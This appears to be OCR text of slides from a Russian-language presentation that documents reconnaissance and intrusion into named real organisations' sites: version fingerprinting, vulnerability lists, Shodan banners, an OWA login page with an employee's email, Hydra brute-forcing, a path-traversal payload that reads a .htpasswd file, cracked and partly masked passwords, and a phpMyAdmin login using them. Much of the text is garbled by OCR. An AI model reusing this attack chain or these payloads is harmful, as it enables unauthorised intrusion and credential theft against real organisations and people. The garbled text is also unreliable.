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©®© pa-strelacom ' ‘

CMS Beb cepeep
I B Joomla I # Apache 248
JS tppelimeopk HzbIK nporpammupoEaHnna
A MooTools 145 I.u*w PHP 5418 I
- Kanua Pacwupenue Beb cepeepa
” C reCAPTCHA I OpenSSL 1.0.1e I
AKUMOHEPHOE OBWMECTEO
wﬁTBEHHOE_OBBEMNEHHE
CEA N =y rFef[A
2 | Norww (7]
& | Napons e
B 3wk - N0 YMONYaHUID v ¢

PHP 5.4.167 2013GtsSH 9 "latSH O!

& Boiitu

PHP 5.4.x < 5.4.30 Multiple Vulnerabilities

Nessus Plugin ID 76281
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® ogk1.com/activities/production_capacity/iriklinskaya/

/
O rH .I INepBas reHepupytoLias KomnaHus
i ONTOBOIO PbiHKA 3MEKTPOIHEPrtk PYC | ENG
KOMMAHUSA DEATENBHOCTL AKUMOHEPAM M MIHBECTOPAM MPECC-LIEHTP
KynuTe HOBbIi o Wap Pulﬁ'zer
- [nasnas \ JeaTensHocTs \ [ipoussogcTeentbie mMowrocTy | Upuknurckas MPIC

HOBRIV KA LIEPATO 2018 —
y obuumansHoro aunepas  VIPUKIMHCKAS FP3C
Mockee
* MPOVU3BOACTBEHHLIE - - -

MOLHOCTH CMS Java Script Libraries

BepxHerarunbckas MP3C
* Vipuknukckan MP3C
Kawwupckaa MP3C

I O 1C-Bitrix I WS jQuery 161

HwxkHesapToeckaa MP3C
Mepmckan MP3C
YpeHroiickaa lP3C

fzbIK NporpaMMHpOEaHHA

OrK-1 HA PbIHKE
BNEKTPOSHEPTUN N
MOLWWHOCTH

IpfwPHP

(— - ¢ @ Gl ogk1.com/bitrix/admin/

Not Found

The requested URL /bitrix/admin/ was not found on this server.
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® ogk1.com/activities/production_capacity/iriklinskaya/ ' ‘

2 4//////

rH ‘I MepBas reHepupyioLLaA KOMNaHNA : o
ONTOBOFO pbIHKA AMEKTPOIHEPTUK PYC | ENG

KOMMAHNA LEATENBHOCTb AKUMOHEPAM W MHBECTOPAM MPECC-LEHTP

KynuTb HOBbI . - R R
s I menep kit s IP Location I == Latvia Riga Sia Mano It I
HOBbIV KA LIEPATO 2018

Vodiapansonmepes  PHWRGHATRSS ASN = AS43513 NANO-AS, LV (registered Aug 14, 2007)

* NMPOV3BOACTBEHHbLIE
MOLHOCTH Resolve Host realmoneypokeronlineusa_com

BepxHetammnbckas MP3C

W reac . - -
piknMHCKas Whois Server whois.ripe.net

Kawnpckasa MPSC

HwxkHesapToeckaa MP3C
Mepmckan MP3C
YpeHroiickaa MlP3C

IP Address 185.81.129.74

OFK-1 HAPBIHKE Reverse IP 14 websites use this address.
3NEKTPO3HEPTUN N

MOLWHOCTN

OomeH

1 wwwallbrucelee.com

2 teenboygay.com
3 www.ewrazes.com o

4 wwwioplObestorg

5|wwwogk1.com A I

6 rusaticles.com -

7 www.realmoneypokeronlineusa.com A
8 pokerbankrolltips.com -

9 wwwicmetalurg.com

10 www.combataviainfo -

T www.eneja.com A

12 rutherion.com -
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www.realmoneypokeronlineusa.com

RedL mMoneyY POKER
SONLINE ' 'SA®

Real Money USA Poker Sites 2016

Hundreds of thousands of U.S. citizens play online poker for real money every
actions taken against US friendly poker sites but no one has ever been arres
online poker in the USA is unclear in some respects. Many States have pas
few States have done the opposite.

Federal anti-poker laws typically only apply to the processing of transactions t

@ teenboygay.com

Welcomel!

Please verify your
age to enter.

I'am 18 or Older

I am Under 18

A



® www.top10best.org

- s maan A A Aaa At g prar P Bt e e P s

A AR s s At as Aam wra Sanrspa m g g wrErEr

i el — Ll

<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http:,//www.topllbest.org/w l v '
<meta name="generator” content="|slttER R ERCi S
<!-——[if 1t IE 39]>

<script src="http://wwvv.toplObest.org/vp-content/themes / husman/assets/front/Jjs/1e/htmlEshiv

TO p 10 Best Q u otes <zoript sreo="http://vvv.topllbsst.org/vp-content/themes/ / husman/asssts/ front/Je/ie/selaectivi

<![endif]-->

Latest WordPress Vulnerabilities

2018-06-27
2018-04-03
2018-04-03
2018-04-03
2018-02-05
2018-01-17
2017-11-29

08.04.2019

WordPress <= 4.9.6 - Authenticated Arbitrary File Deletion
WordPress 3.7-4.9.4 - Remove localhost Default

WordPress 3.7-4.9.4 - Use Safe Redirect for Login

WordPress 3.7-4.9.4 - Escape Version in Generator Tag

WordPress <= 4.9.4 - Application Denial of Service (DoS) (unpatched)
WordPress 3.7-4.9.1 - MediaElement Cross-Site Scripting (XSS)
WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload

NEPCMNEKTUBHbBIN
MOHWUTOPKMHI

v

NHbOpPMaLMOHHbIM BronneTeHb LleHTpa MoHUTOpKHra 3A0 «MM» (TK MHboTeKC)

HassaHue JORYMeHTa Komnpomertauma caitos Ha 6ase WordPress c nomoLyblo BHegpeHUA
nepeHanpas/AwLWMX Ha 3/I0BpeaHble CTPaHWULIbl CKPUNTOB
PasocnaH 2018-09-25
MaeHtudumratop AM—-2018-ALE-0925-01
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@ @ www.metalloinvest.com/business/steel/ural-steel/
IP agpec unn gomMeH: | www.metalloinvest.com

MeTanioMHBECT
Pecypcbl c0308KT BO3MOKHOCTH [MpoBepuTs

O KoMIIaHHH + g IMapraepam + Husecrop

CKpbITe MHopMmauuie o ceoem IP-anpece

Teorpacdmsa ITpomecest TopHODYAHBIH CETMeHT
OpOHIBOACTED IP 89.249.25828
03MK Ypanseras Crame VpanMetKom XocT: 89.2402328
Mopog; Mockea &
YPaﬂbCKa_ﬂ CTaJIb CTpaHa: [l Russian Federation
IP gnanasoH: 89.249250-89.249 28 127
VYpanbckan Crans ABISeTCH NPeIIPHATHEM MOTHOTO MHKIA, .
BE/IIOYAIOIIHM ATIOKOKCOLOMEHHOE, CTATCIUIABILUIEHOE H IPOKaTHOe Hasganne npoeaipepa: Stack Group, LLC
IPOH3BOACTEA.
IP 81.206.22271
mx:metalloinvest.com [EIEREEE S KocT: ns.metinvest.com
[opon; Mockea (&
Pref Hostname IP Address . i
CTpaHa: i Russian Federation
10 I ns.metinvest.com I 91.206.222 71
UK Metalloinvest Lid (AS47327) IP gnanazoH: 81.206.222.0-91.206.223.255
20 ns.metinvest.ru 91.206.222 72

UK Metalloinvest Ltd [AS47827) CIDR: 91.206.222 0023

Ha3eaHwe npoBafpepa: LK Metalloinvest netwaork

08.04.2019




Ports

@91.206.222.6

City Moscow
Country Russian Federation
Organization UK Metalloinvest Ltd

ISP UK Metalloinvest Ltd

Last Update 2018-09-12T22:17:12.210165
ASN ASATRZT

-~
HTTP/1.1 288 OK
Content-Type: text/html; charset=utf-8
Transfer-Enceding: chunked
Cache-Control: no-cache
Pragma: no-cache
Connection: Keep-Alive
Date: Wed, 12 Sep 2818 22:17:11 GMT
Set-Cookie: tg=; expires=THL, @1 Jan 1972
Set-Cookie: webvpn=; expirge=Thu, @1 Jan
Set-Cookie: webvpnc=; expirfs=Thu, @1 Jan
Set-Cogkie: webvpn portal=:fl expires=Thu,

@91.206.222.74 owa.metinvest.com

City Moscow 20
Country Russian Federation

Organization UK Metalloinvest Ltd

ISP UK Metalloinvest Ltd

Last Update 2018-09-26108:36:07.878876 Microsoft IIS httpd version 75
Hostnames owa.metinvest.com HTTP/1.1 483 Forbidden

Content-Type: text/html

ASN ASA7E27 Server: Microsoft-II5/7.5
X-Powered-By: ASP.NET

Date: Wed, 26 Sep 2818 88:36:87 aGMT

*WEb Technologies Content-Length: 1233

ns:confidence:50

7 Mie .|
Microsoft ASP.NET HTTP/1.1 288 OK

Cache-Control: no-cache, nofgstore

[ Outlook Web App

Pragma: no-cache
Content-Type: text/html; ch@set=utf-8

Expires: -1

AVuInerabiIities Set-Cookie: OutlookSession=Je57cBlfaaf3a39c

K-OWA-Version: 14.3.224.2

Note: the device may not be impacted by all of these issues. The vulnerabilities are implied based on the software and version.
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@ ﬂl https:,-’,-’owa.metinvest.com,-’owalauth,-’logon.aspx?replaceCurrent =18&url=httpst3a¥2f¥2fowa.metinvest.com%2fowaYe2 f

A

Outlook' Web App

BezonacHocTe ( oToBPazuTE NOACHEHUA )

3710 0BWeAoCTYNHLIR WK COBMECTHO MCNoNL3yembli
KOMMLHOTED
() 3To yacTHelil KOMMBKITED

[C)

[J Wcnonszoeats obneruenHyto eepairo Outlook Web App

JomMeH\MMA NONLI0BATENA: | |

Mapone: | |

Imps:j/g 1 .206‘222‘6/+CSCOE+I0g0n.h‘tr‘1I?reason: 128 gmsg=46676E61716E6571

MeptoHANBHEIA ACCMCTEHT - KONWA MPOXOPEHKD

E-mail- j prohorenko@metalloinvest com

MeTa;l/IOMHBECT

HYDRA

BRUTEFORCE

353; BX0[, B CHCTEMY.

BeequTe MMA NONL30BATENA W Naponb

MAPOIb:

BxogeC
clientless_local

co
newsas
oe
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***x gov.ru/library/ext41/example
s/feed=../..[..[.. \.\.\..[..lwamp64/w
ww/ htdocs /. htpasswd

admin:$apri$r31NIMEX rrrtrrttrs
gygtest :$aprl$r3leCclsOk*x*rx*x
zaharov :$apri$r31jgThQ92* +**r+*

08.04.2019



admin:$apriSr31n3IMEX r**kkkkir 7
gygtest :$apridr3leCclsOk*****+ v
zaharov :$apr1$r31jg'|'h092********

admin: pa PP FrrrkRRRhAAK
gygtest:33bnsec*******
zaharov:12345*x**#xxkk*

08.04.2019
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phpMyAdmin
Welcome to phpMyAdmin —

I = = @

| English (ut8) 2]
rLogin@®

Username: -

Password: [essccces ]

[ Go | ad m I n: p a $$_***********

*

gygteSt33 bnsec*******
0Vi1o% shb it

phngAdm’n i o E1 phplyAdn y » B phpmyadmin
DRBOTE W Structure | ] SQL = 4 Search = |4 Query [ Export 9 Import ¥ More
Current Server: Table = Action Rows Type
' phpMyAdmin - N=]| L)
= Kk = = ¢ Insert o Myl
‘ (Recantblas).. Bl pma__bookmark [=] Browse 34 Structure % Search 3¢ Insert § Empty @ Drop MyISAM
[7] pma__column_info |] Browse & Structure % Search ¥¢ Insert §l Empty @ Drop 3% MyISAM
filter databases by name X ' >
‘—[Z” pma__designer_coords || Browse 4 Structure % Search %e Insert i Empty @ Drop 0 MylSAM
1 > >3
@ al pma__history |7 Browse J# Structure % Search ¥¢ Insert §if Empty @ Drop 0 MyISAM
:‘%Eﬁ o = pma__pdf_pages [=] Browse 4 Structure % Search 3t Insert f§ Empty @ Drop 0 MyISAM
14
&3 al pma__recent [=] Browse s Structure % Search ¥ Insert fgh Empty @ Drop 1 MylSAM
@ al
I?—‘j al pma__relation [=] Browse 34 Structure % Search 3t Insert gl Empty @ Drop 1 MylSAM
F4 al
l;'l:)“ 3 al [] pma__table_coords |=] Browse s Structure #% Search % Insert i Empty @ Drop o MylSAM
'li::j‘m pma__table_info |=] Browse 4 Structure ‘% Search ¥¢ Insert il Empty @ Drop 0 MylSAM
&)
'E@:J I:_ pma__table_uiprefs |=] Browse i Structure % Search ¥¢ Insert i Empty @ Drop 1 MylSAM
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